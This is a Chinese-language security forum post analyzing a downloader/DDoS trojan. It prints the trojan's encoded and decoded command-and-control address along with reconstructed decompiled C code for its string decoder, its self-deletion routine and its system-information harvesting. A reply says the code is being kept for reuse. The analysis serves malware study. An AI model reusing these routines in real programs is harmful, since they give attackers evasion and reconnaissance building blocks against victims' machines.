看雪论坛
发新帖
3

[原创]Win32.Rootkit.Lapka.Wozw 木马病毒分析

DMemory 2017-5-18 13:40 456


前言

近期简单分析了一个下载者+DDos的病毒,还原了一些代码,把大家感兴趣的部分分享出来,仅供学习研究。大神请跳过。

病毒执行流程

整体流程


监控服务

服务开启后,病毒会循环尝试开启线程,获取系统信息,连接远程地址。
远程地址是 Base64(算法处理(URL:port)) -> 1NTUHdvi4NgKCh3V2tMJEhcQEEM=
解密后为:www.hack99.vip:1433

建立 socket 后就发送获取的系统信息,并开始接收返回命令。
根本返回执行相关指令,预置命令是 DDOS 相关代码。


代码还原

Base64 解密处理

int __cdecl customDecode(char *Str){  int len; // [sp+0h] [bp-Ch]@1
  int i; // [sp+4h] [bp-8h]@1
  int outBuff; // [sp+8h] [bp-4h]@1

  outBuff = 0;
  len = base64_decode(Str, &outBuff);  
  for ( i = 0; i < len; ++i )
  {
    *(i + outBuff) += 56;
    *(i + outBuff) ^= 123u;
  }  return outBuff;
}

自删除完整流程

signed int deleteSelf(){
  HMODULE hKERNEL32; // eax@1
  HANDLE hProc; // eax@2
  HANDLE hThread; // eax@2
  signed int result; // eax@2
  CHAR cmdPath[260]; // [sp+Ch] [bp-354h]@1
  char cmdDeleteSelf[260]; // [sp+110h] [bp-250h]@1
  CHAR Filename[260]; // [sp+214h] [bp-14Ch]@1
  SHELLEXECUTEINFOA exeInfo; // [sp+318h] [bp-48h]@1
  FARPROC lstrcatA; // [sp+354h] [bp-Ch]@1
  char aOpen[5]; // [sp+358h] [bp-8h]@1

  hKERNEL32 = LoadLibraryA("KERNEL32.dll");
  lstrcatA = GetProcAddress(hKERNEL32, "lstrcatA");
  Filename[0] = 0;  
  memset(&Filename[1], 0, 0x100u);
  *&Filename[257] = 0;
  Filename[259] = 0;
  cmdPath[0] = 0;  
  memset(&cmdPath[1], 0, 0x100u);
  *&cmdPath[257] = 0;
  cmdPath[259] = 0;
  cmdDeleteSelf[0] = 0;  
  memset(&cmdDeleteSelf[1], 0, 0x100u);
  *&cmdDeleteSelf[257] = 0;
  cmdDeleteSelf[259] = 0;
  GetModuleFileNameA(0, Filename, 0x104u);
  GetShortPathNameA(Filename, Filename, 0x104u);// 转换成短形式路径
  GetEnvironmentVariableA("COMSPEC", cmdPath, 0x104u);// 从调用该函数的进程的环境变量中返回指定的变量名值的函数
                                                // 获取 cmd 绝对路径
  (lstrcatA)(cmdDeleteSelf, "/c del ");
  (lstrcatA)(cmdDeleteSelf, Filename);
  (lstrcatA)(cmdDeleteSelf, " > nul");      // 调用 cmd 删除自身
  exeInfo.lpVerb = aOpen;
  exeInfo.lpFile = cmdPath;
  exeInfo.cbSize = 60;
  exeInfo.hwnd = 0;
  aOpen[0] = 79;                                // Open
  aOpen[1] = 112;
  aOpen[2] = 101;
  aOpen[3] = 110;
  aOpen[4] = 0;
  exeInfo.lpParameters = cmdDeleteSelf;
  exeInfo.lpDirectory = 0;
  exeInfo.nShow = 0;
  exeInfo.fMask = 0x40;
  if ( ShellExecuteExA(&exeInfo) )              // 执行自删除
  {
    SetPriorityClass(exeInfo.hProcess, 0x40u);  // IDLE_PRIORITY_CLASS 只有当系统空闲时再执行
    hProc = GetCurrentProcess();
    SetPriorityClass(hProc, 0x100u);            // REALTIME_PRIORITY_CLASS
    hThread = GetCurrentThread();
    SetThreadPriority(hThread, 0xF);            // THREAD_PRIORITY_TIME_CRITICAL 设置优先级
    SHChangeNotify(4, 1u, Filename, 0);
    result = 1;
  }
  else
  {
    result = 0;
  }  return result;
}

系统信息收集

  1. 获取语言
    使用 GetSystemDefaultUILanguage 获取语言
  2. 获取 CPU Hz
    通过注册表:"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"~MHz读取其键值。
  3. 获取内存
    使用 GlobalMemoryStatusEx API 获取
  4. 获取网卡配置和Ip地址信息
    使用 GetAdaptersInfo 循环获取网卡信息


  lstrcpyA(regHardwareDes, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");
  if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, regHardwareDes, 0, KEY_ALL_ACCESS, &phkResult) )
  {
    Find_CPU_Error[0] = 70;                     // Find CPU Error
    Find_CPU_Error[1] = 105;
    Find_CPU_Error[2] = 110;
    Find_CPU_Error[3] = 100;
    Find_CPU_Error[4] = 32;
    Find_CPU_Error[5] = 67;
    Find_CPU_Error[6] = 80;
    Find_CPU_Error[7] = 85;
    Find_CPU_Error[8] = 32;
    Find_CPU_Error[9] = 69;
    Find_CPU_Error[10] = 114;
    Find_CPU_Error[11] = 114;
    Find_CPU_Error[12] = 111;
    Find_CPU_Error[13] = 114;
    Find_CPU_Error[14] = 0;
    strcpy(storeBuff + 100, Find_CPU_Error);
  }
  else
  {
    Type = 4;
    cbData = 200;
    RegQueryValueExA(phkResult, "~MHz", 0, &Type, Data, &cbData);
    (RegCloseKey)(phkResult);
    GetSystemInfo(&SystemInfo);
    memset(&Dst, 0, 0xAu);
    MHz[0] = 77;
    MHz[1] = 72;
    MHz[2] = 122;
    MHz[3] = 0;
    sprintf(&Dst, "%d*%u%s", SystemInfo.dwNumberOfProcessors, *Data, MHz);
    strcpy(storeBuff + 100, &Dst);
  }
  memStatus.dwLength = 64;
  GlobalMemoryStatusEx(&memStatus);
  mb = memStatus.ullTotalPhys / 1024 / 1024;    // 获取内存
  mb_p = mb + 1;
  wsprintfA(storeBuff + 68, "%u MB", mb + 1, ((mb + 1) >> 32));
  SizePointer = 0;
  AdapterInfo = malloc(0x280u);
  if ( GetAdaptersInfo(AdapterInfo, &SizePointer) == ERROR_BUFFER_OVERFLOW )
  {
    free(AdapterInfo);
    AdapterInfo = malloc(SizePointer);          // 如果内存不够则重新 malloc
  }
  if ( !GetAdaptersInfo(AdapterInfo, &SizePointer) )// 获取网卡配置和Ip地址信息
  {
    while ( AdapterInfo )
    {
      if ( strcmp(AdapterInfo->GatewayList.IpAddress.String, "0.0.0.0") )
      {
        pIfTable = 0;
        pdwSize = 0;
        v11 = 0;
        sRes = GetIfTable(0, &pdwSize, 1);
        if ( sRes == ERROR_INSUFFICIENT_BUFFER )
        {
          pIfTable = operator new(pdwSize);
          if ( pIfTable )
          {
            sRes = GetIfTable(pIfTable, &pdwSize, 1);
            if ( !sRes )
            {
              for ( i = 0; i < pIfTable->dwNumEntries; ++i )
              {
                if ( pIfTable->table[i].dwOperStatus
                  && pIfTable->table[i].dwAdminStatus != IF_OPER_STATUS_DISCONNECTED
                  && pIfTable->table[i].dwIndex == AdapterInfo->Index )
                {
                  nSpeed = pIfTable->table[i].dwSpeed / 1000 / 1000;
                  if ( nSpeed < 1000 )
                  {
                    sprintf(&aSpeed, "%u Mbps", nSpeed);// 获取网速
                    strcpy(storeBuff + 132, &aSpeed);
                  }
                  else
                  {
                    sprintf(&aSpeed, "%u Gbps", nSpeed / 0x3E8);
                    strcpy(storeBuff + 132, &aSpeed);
                  }
                }
              }
            }
            operator delete(pIfTable);
          }
        }
      }
      AdapterInfo = AdapterInfo->Next;
    }
  }


本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (1)
hzqst 2017-5-18 16:30
2
取硬件信息和自删除的代码收下了
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 知道创宇带宽支持 | 微信公众号:ikanxue
Time: 0.011, SQL: 9 / 京ICP备10040895号-17